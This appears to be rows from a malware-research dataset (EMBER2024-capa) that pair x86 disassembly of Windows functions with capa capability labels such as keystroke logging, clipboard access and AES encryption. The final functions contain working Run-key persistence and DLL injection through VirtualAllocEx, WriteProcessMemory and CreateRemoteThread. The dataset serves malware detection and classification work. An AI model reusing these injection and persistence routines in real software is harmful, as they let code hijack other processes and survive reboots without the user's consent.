joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b1630
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov ebp, ecx
xor ebx, ebx
mov dword [esp + 0xc], ebp
push edi
mov edi, edx
mov dword [esp + 0x24], edi
test ebp, ebp
je 0x4b165b
push 2
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
mov dword [esp + 0x1c], eax
jmp 0x4b1665
mov esi, dword [0x4f9a50]
mov dword [esp + 0x1c], esi
test esi, esi
je 0x4b17f6
test edi, edi
jns 0x4b167a
mov eax, edi
neg eax
movzx eax, ax
jmp 0x4b16ab
test edi, edi
mov dword [esp + 0x2c], ebx
mov eax, 1
mov dword [esp + 0x30], 0x4fdad4
cmovne eax, edi
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
push 0x4b1600
push 0xe
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov eax, dword [esp + 0x30]
cmp eax, 0x4fdad4
je 0x4b17cf
push 0xe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4b17cf
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4b17cf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, eax
mov dword [esp + 0x18], ecx
test ecx, ecx
je 0x4b17cf
cmp dword [esp + 0x38], 0xffffffff
mov ebx, dword [esp + 0x3c]
cmovne ebx, dword [esp + 0x38]
test ebx, ebx
jne 0x4b170d
push 0xb
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [esp + 0x18]
mov ebx, eax
lea eax, [ecx + 6]
mov dword [esp + 0x14], 0
mov dword [esp + 0x20], eax
xor ebp, ebp
movzx eax, word [ecx + 4]
mov dword [esp + 0x18], eax
test eax, eax
je 0x4b17c9
mov edi, dword [esp + 0x20]
mov esi, 0x100
movzx edx, byte [edi]
test edx, edx
cmove edx, esi
xor ecx, ecx
cmp edx, ebp
jle 0x4b174c
cmp ebp, ebx
setl cl
jmp 0x4b1751
cmp edx, ebx
setge cl
test ecx, ecx
mov eax, edi
cmove eax, dword [esp + 0x14]
add edi, 0xe
test ecx, ecx
mov dword [esp + 0x14], eax
cmove edx, ebp
sub dword [esp + 0x18], 1
mov ebp, edx
jne 0x4b1737
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x24]
test eax, eax
je 0x4b17c9
movzx eax, word [eax + 0xc]
push 3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4b17c9
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4b17c9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x4b17c9
push 0
push 0
push 0
push 0x30000
push 1
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebp
call dword [sym.imp.USER32.dll_CreateIconFromResourceEx]
mov ebx, eax
jmp 0x4b17cb
xor ebx, ebx
mov ebp, dword [esp + 0x10]
mov eax, dword [esp + 0x40]
test eax, eax
je 0x4b17e7
test ebx, ebx
je 0x4b17e7
mov dword [eax], esi
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret
test ebp, ebp
je 0x4b17f2
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
jne 0x4b17dd
test edi, edi
jle 0x4b180f
lea eax, [edi - 1]
push eax
push ebp
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconW]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
xor eax, eax
cmp edi, 0xffffffff
cmovl eax, edi
push eax
push ebp
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconW]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x4b2cf0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0x810
push edi
push 0x800
lea eax, [esp + 0x18]
mov dword [esp + 8], edx
push 0
push eax
mov edi, ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x10]
push 0xf0000000
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4b2e92
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x8004
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4b2e92
mov edx, dword [esp + 0x818]
test edx, edx
je 0x4b2d94
cmp dword [edx], 0
je 0x4b2d94
push esi
xor ecx, ecx
mov eax, edx
mov esi, 0x4f0920
nop dword [eax]
cmp edx, 0x4f8234
jne 0x4b2d7c
mov eax, esi
jmp 0x4b2d7e
mov eax, dword [eax]
mov ax, word [eax]
add esi, 0xa
mov word [esp + ecx*2 + 0x18], ax
inc ecx
cmp dword [edx + ecx*4], 0
lea eax, [edx + ecx*4]
jne 0x4b2d70
pop esi
lea ecx, [esp + 0x14]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4b2da0
sub ecx, edx
sar ecx, 1
push 0
lea eax, [ecx + ecx]
push eax
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4b2e92
push 0x800
lea eax, [esp + 0x18]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [esp + 0x82c]
add esp, 0xc
cmp ecx, 0x80
jne 0x4b2df6
mov eax, 0x660e
jmp 0x4b2e06
xor eax, eax
cmp ecx, 0xc0
setne al
add eax, 0x660f
lea edx, [esp + 0xc]
shl ecx, 0x10
push edx
push ecx
push dword [esp + 0x10]
push eax
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x4b2e92
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
test eax, eax
je 0x4b2e92
cmp byte [esp + 0x81c], 0
je 0x4b2e5a
mov eax, dword [esp + 4]
add eax, 0x10
push eax
lea eax, [esp + 8]
push eax
push edi
push 0
push 1
push 0
push dword [esp + 0x24]
call dword [0x4f9a14]
jmp 0x4b2e70
lea eax, [esp + 4]
push eax
push edi
push 0
push 1
push 0
push dword [esp + 0x20]
call dword [0x4f9a10]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [esp + 4]
pop edi
add esp, 0x810
ret
xor eax, eax
pop edi
add esp, 0x810
ret
Function at 0x4b3da0
Capabilities:
Write clipboard data

Disassembly:
sub esp, 8
push ebx
mov ebx, ecx
mov ecx, 0x4fc6d8
push esi
mov esi, edx
call fcn.00406b90
test eax, eax
jne 0x4b3dd1
push 0x4cdc40
push str.Cant_open_clipboard_for_writing.
mov ecx, 0x4fbb78
call fcn.0044dc10
pop esi
pop ebx
add esp, 8
ret
push ebp
push edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea eax, [ebx + esi]
lea esi, [ebx + 4]
mov dword [esp + 0x14], eax
cmp esi, eax
ja 0x4b3e59
mov ecx, dword [ebx]
mov dword [esp + 0x10], ecx
test ecx, ecx
je 0x4b3e59
mov edi, esi
add esi, 4
cmp esi, eax
ja 0x4b3e59
mov edi, dword [edi]
mov ebx, esi
add esi, edi
cmp esi, eax
ja 0x4b3e59
xor eax, eax
test edi, edi
sete al
add eax, edi
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x4b3f0d
test edi, edi
je 0x4b3e43
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4b3ea8
push edi
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, esi
push ebp
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_SetClipboardData]
mov eax, dword [esp + 0x14]
lea esi, [ebx + 4]
cmp esi, eax
jbe 0x4b3de7
cmp dword [0x4fc6f0], 0
je 0x4b3e9b
cmp dword [0x4fc6e0], 0
je 0x4b3e81
push dword [0x4fc6d8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [0x4fc6e0], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [0x4fc6f0], 0
mov dword [0x4fc6d8], 0
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x4fc6f0], 0
je 0x4b3ef1
cmp dword [0x4fc6e0], 0
je 0x4b3ed7
push dword [0x4fc6d8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [0x4fc6e0], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [0x4fc6f0], 0
mov dword [0x4fc6d8], 0
push 0x4cdc40
push 0x4ce22c
mov ecx, 0x4fbb78
call fcn.0044dc10
pop edi
pop ebp
pop esi
pop ebx
add esp, 8
ret
cmp dword [0x4fc6f0], 0
je 0x4b3f4f
cmp dword [0x4fc6e0], 0
je 0x4b3f35
push dword [0x4fc6d8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [0x4fc6e0], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [0x4fc6f0], 0
mov dword [0x4fc6d8], 0
push 0x4cdc40
push 0x4e1bcc
mov ecx, 0x4fbb78
call fcn.0044dc10
pop edi
pop ebp
pop esi
pop ebx
add esp, 8
ret
Function at 0x4b4cf0
Capabilities:
Check for foreground window switch
Log keystrokes

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
mov ebx, ecx
push esi
push edi
mov edi, edx
movzx eax, word [edi]
cmp eax, 0x41
je 0x4b4d09
cmp eax, 0x61
jne 0x4b4d71
cmp word [edi + 2], 0
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
jne 0x4b4d79
cmp word [ecx], 0
jne 0x4b4d79
cmp word [eax], 0
jne 0x4b4d79
cmp word [ebp], 0
jne 0x4b4d79
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x4b4d71
cmp byte [ebx + 0xea], 0
jne 0x4b4d56
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4b4d71
mov ecx, esi
call fcn.004b6160
test al, al
jne 0x4b4d71
push esi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x4b4d6a
push 9
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
test dl, dl
jne 0x4b4da3
cmp word [edi], 0
jne 0x4b4da3
cmp word [ecx], 0
jne 0x4b4da3
cmp word [eax], 0
jne 0x4b4da3
cmp word [ebp], 0
jne 0x4b4da3
mov ecx, ebx
call fcn.004b55b0
jmp 0x4b4dbd
push dword [esp + 0x28]
push dword [esp + 0x28]
push 0
push edx
push ebp
push eax
push ecx
mov edx, edi
mov ecx, ebx
call fcn.004b53f0
add esp, 0x1c
test eax, eax
jne 0x4b4dc6
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
mov ecx, eax
pop ebx
jmp fcn.004b4de0
Function at 0x4b5170
Capabilities:
Check for time delay via gettickcount
Terminate process

Disassembly:
push ecx
cmp byte [esp + 8], 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
je 0x4b51da
lea eax, [esp + 0xc]
push eax
push 0x1f4
push 2
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
test eax, eax
jne 0x4b51e7
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4b51e7
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4b51e7
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4b51e7
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
xor edi, edi
test ebx, ebx
cmovns edi, ebx
test edi, edi
je 0x4b5253
push ebp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword fs:[0x24]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], eax
nop word [eax + eax]
cmp dword [0x4fb2ec], ebx
jne 0x4b5229
mov edx, 1
mov ecx, 0x8000012f
call fcn.00401830
jmp 0x4b522d
push 0xa
call ebp
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4b524b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x18]
add ecx, edi
sub ecx, eax
cmp ecx, 5
jg 0x4b5210
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret
Function at 0x4b53f0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11c6c
call fcn.004cb9b0
mov eax, edx
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
mov dword [esp + 8], eax
movzx eax, word [eax]
push edi
mov edi, ecx
cmp eax, 0x41
je 0x4b5421
cmp eax, 0x61
jne 0x4b5484
mov ecx, dword [esp + 0xc]
cmp word [ecx + 2], 0
jne 0x4b5484
cmp word [ebx], 0
jne 0x4b5484
cmp word [edx], 0
jne 0x4b5484
cmp word [esi], 0
jne 0x4b5484
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x4b546b
cmp byte [edi + 0xea], 0
jne 0x4b546b
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4b5469
mov ecx, esi
call fcn.004b6160
test al, al
je 0x4b546b
xor esi, esi
cmp byte [ebp + 0x18], 0
je 0x4b547b
test esi, esi
je 0x4b547b
mov dword [edi + 0xc4], esi
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test ax, ax
jne 0x4b54a6
cmp word [ebx], ax
jne 0x4b54a6
cmp word [edx], ax
jne 0x4b54a6
cmp word [esi], ax
jne 0x4b54a6
mov ecx, edi
call fcn.004b55b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x10]
call fcn.0044f690
push esi
push edx
push ebx
push dword [esp + 0x18]
push edi
call fcn.004b62b0
test eax, eax
je 0x4b5572
test byte [esp + 0x10], 2
mov al, byte [ebp + 0x14]
mov byte [esp + 0x183d], al
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0x184c], eax
mov eax, dword [ebp + 0x20]
mov dword [esp + 0x1850], eax
je 0x4b557b
mov esi, dword [esp + 0x102c]
cmp esi, 0xffff
je 0x4b554a
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4b5572
cmp byte [edi + 0xea], 0
mov esi, dword [esp + 0x102c]
jne 0x4b554a
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4b552d
mov ecx, esi
call fcn.004b6160
test al, al
je 0x4b5543
push 0xfffffffffffffff0
push dword [esp + 0x1030]
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, 0x40000000
je 0x4b5572
mov esi, dword [esp + 0x102c]
cmp dword [esp + 0x1864], esi
je 0x4b5563
lea ecx, [esp + 0x10]
mov dword [esp + 0x1864], esi
call fcn.004b6720
push 0
lea ecx, [esp + 0x14]
call fcn.004b6800
test eax, eax
jne 0x4b558b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x10]
push eax
push 0x4b5650
call dword [sym.imp.USER32.dll_EnumWindows]
cmp byte [ebp + 0x18], 0
mov eax, dword [esp + 0x1844]
je 0x4b5574
test eax, eax
je 0x4b5574
mov dword [edi + 0xc4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b6720
Capabilities:
Get graphical window text

Disassembly:
push ecx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x1854]
test ecx, ecx
je 0x4b67f9
mov eax, dword [esi]
test eax, eax
je 0x4b67f9
push edi
test al, 1
jne 0x4b674d
mov eax, dword [esi + 0x100c]
cmp word [eax], 0
je 0x4b6767
push 0x7fff
lea edi, [esi + 0x1860]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x4b6767
mov word [edi], ax
mov eax, dword [esi]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test al, 4
je 0x4b6784
lea eax, [esi + 0x185c]
push eax
push dword [esi + 0x1854]
call edi
mov eax, dword [esi]
test al, 0x20
je 0x4b67bf
lea eax, [esp + 8]
push eax
push dword [esi + 0x1854]
call edi
test eax, eax
je 0x4b67bf
movzx eax, byte [esi + 0x182c]
lea edx, [esi + 0x11a60]
push eax
push ecx
mov ecx, dword [esp + 0x10]
call fcn.0047b530
add esp, 8
test eax, eax
jne 0x4b67bf
mov word [esi + 0x11a60], ax
mov eax, dword [esi]
pop edi
test al, 8
je 0x4b67e0
push 0x101
lea eax, [esi + 0x1185e]
push eax
push dword [esi + 0x1854]
call dword [sym.imp.USER32.dll_GetClassNameW]
mov eax, dword [esi]
test eax, 0x100
je 0x4b67f9
push dword [esi + 0x1854]
call dword [sym.imp.USER32.dll_GetParent]
mov dword [esi + 0x1858], eax
pop esi
pop ecx
ret

Function at 0x4b7110
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11c68
call fcn.004cb9b0
mov edx, dword [ecx + 8]
test edx, edx
je 0x4b71ab
lea ecx, [esp]
call fcn.0044f690
mov al, byte [ebp + 8]
mov byte [esp + 0x1848], al
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x184c], eax
mov eax, ecx
push eax
push 0x4b78f0
mov dword [esp + 0x184c], edx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0x1834], 0
je 0x4b71ab
mov eax, dword [0x4f70f4]
cmp dword [eax + 0x54], 0xffffffff
jle 0x4b71ab
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4fb2ec], eax
je 0x4b7198
mov eax, dword [0x4f70f4]
push dword [eax + 0x54]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [0x4f70f4]
mov edx, 1
mov ecx, dword [ecx + 0x54]
call fcn.00401830
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x4b7490
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11c74
call fcn.004cb9b0
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 8], 0
je 0x4b7680
push 0
call fcn.004b7690
test eax, eax
jne 0x4b74c3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push dword [0x4f70f4]
mov ebx, eax
mov ecx, esi
push ebx
call fcn.004b7730
mov edx, dword [0x4fb2e4]
xor ecx, ecx
test eax, eax
cmovne edx, ecx
lea ecx, [esp + 0x18]
mov dword [0x4fb2e4], edx
call fcn.0044f690
cmp byte [ebp + 8], 0
je 0x4b7507
mov byte [esp + 0x1845], 0
test edx, edx
je 0x4b750f
mov byte [esp + 0x1845], 1
mov eax, dword [0x4fb2e0]
mov edi, dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x1854], eax
mov eax, dword [esi + 8]
mov dword [esp + 0x185c], eax
lea eax, [esp + 0x18]
push eax
push 0x4b77c0
mov dword [esp + 0x1860], edx
call edi
mov eax, dword [esp + 0x184c]
test eax, eax
je 0x4b7648
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 0x4b60a0
mov dword [esp + 0x1c], 0
call edi
mov edi, dword [esp + 0x14]
test edi, edi
je 0x4b75ab
mov ecx, dword [0x4fb2e4]
xor eax, eax
mov edx, dword [esp + 0x184c]
mov esi, dword [0x4fb2e0]
test ecx, ecx
jle 0x4b7590
cmp dword [esi + eax*4], edx
je 0x4b75a2
inc eax
cmp eax, ecx
jl 0x4b7586
cmp ecx, 0x1f4
jge 0x4b75a2
mov dword [esi + ecx*4], edx
inc ecx
mov dword [0x4fb2e4], ecx
mov dword [esp + 0x184c], edi
jmp 0x4b75b2
mov edi, dword [esp + 0x184c]
mov ecx, edi
call fcn.004b4de0
mov ecx, dword [0x4fb2e4]
xor eax, eax
mov edx, dword [esp + 0x184c]
mov esi, dword [0x4fb2e0]
test ecx, ecx
jle 0x4b75dc
cmp dword [esi + eax*4], edx
je 0x4b75ee
inc eax
cmp eax, ecx
jl 0x4b75d2
cmp ecx, 0x1f4
jge 0x4b75ee
mov dword [esi + ecx*4], edx
inc ecx
mov dword [0x4fb2e4], ecx
mov eax, dword [0x4f70f4]
cmp dword [eax + 0x54], 0xffffffff
jle 0x4b7680
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4fb2ec], eax
je 0x4b7627
mov eax, dword [0x4f70f4]
push dword [eax + 0x54]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [0x4f70f4]
mov edx, 1
mov ecx, dword [ecx + 0x54]
call fcn.00401830
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [0x4fb2e4]
test eax, eax
je 0x4b7680
cmp eax, 1
mov dword [0x4fb2e4], 0
setg al
test al, al
je 0x4b7680
mov ecx, dword [0x4fb2e0]
push 0
mov dword [0x4fb2e4], 1
mov dword [ecx], ebx
mov ecx, esi
call fcn.004b7490
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40689a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068be
xor eax, eax
test eax, eax
je 0x4068d1
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068d1
xor ecx, ecx
jmp 0x4068d4
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4069f7
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x406a2e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a08
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x406a03
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a5f
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x406a41
pop edi
not eax
pop esi
ret 0xc

Function at 0x401000
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401029
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401021
cmp al, 0x22
jne 0x401015
cmp byte [esi], 0x22
jne 0x401033
inc esi
jmp 0x401033
cmp al, 0x20
jle 0x401033
inc esi
cmp byte [esi], 0x20
jg 0x40102d
mov al, byte [esi]
test al, al
je 0x40103d
cmp al, 0x20
jle 0x401026
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004018d4
push 0x404004
push section..data
call fcn.004018ba
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x40106d
movzx eax, word [ebp - 0x14]
jmp 0x401070
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00401123
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4014b4
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], str.C:UsersUserDesktop_test.exe
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.test
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x4015ac
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret